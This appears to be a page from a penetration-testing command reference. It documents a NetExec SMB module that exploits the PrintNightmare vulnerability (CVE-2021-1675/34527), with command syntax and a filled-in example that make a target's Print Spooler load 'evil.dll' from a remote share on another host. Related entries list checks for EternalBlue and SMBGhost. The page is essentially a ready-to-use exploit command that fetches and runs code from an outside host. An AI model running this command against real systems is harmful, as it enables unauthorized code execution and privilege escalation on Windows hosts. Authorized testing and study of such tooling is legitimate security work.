NetExec SMB PrintNightmare

Exploit PrintNightmare (CVE-2021-1675/34527) to load a malicious DLL via the Print Spooler service

Curated and verified by Ahmad Alawneh, penetration tester (OSCP+, CRTE) · Last updated April 10, 2026

Tool: nxc
Category: Privilege Escalation / Local PrivEsc
Platform: linux
Requires: password
Protocols: SMB

Open in Command Manager

Syntax

Angle-bracket tokens are placeholders — replace them with your target's values, or open this command in the app to fill them in and copy the result.

nxc smb '<ip>' -u '<user>' -p '<password>' -M printnightmare -o DLL='\\<ip>\share\evil.dll'

Examples

nxc smb '192.168.1.100' -u 'user' -p 'password' -M printnightmare -o DLL='\\\\192.168.1.50\\share\\evil.dll'

Tags

nxc smb printnightmare cve-2021-1675 cve-2021-34527 print-spooler privilege-escalation

NetExec SMB Enum Impersonate Enumerate tokens and privileges available for impersonation on remote hosts
NetExec SMB MS17-010 (EternalBlue) Check for MS17-010 (EternalBlue) vulnerability without credentials
NetExec SMB SMBGhost Check for SMBGhost (CVE-2020-0796) SMBv3 compression vulnerability without credentials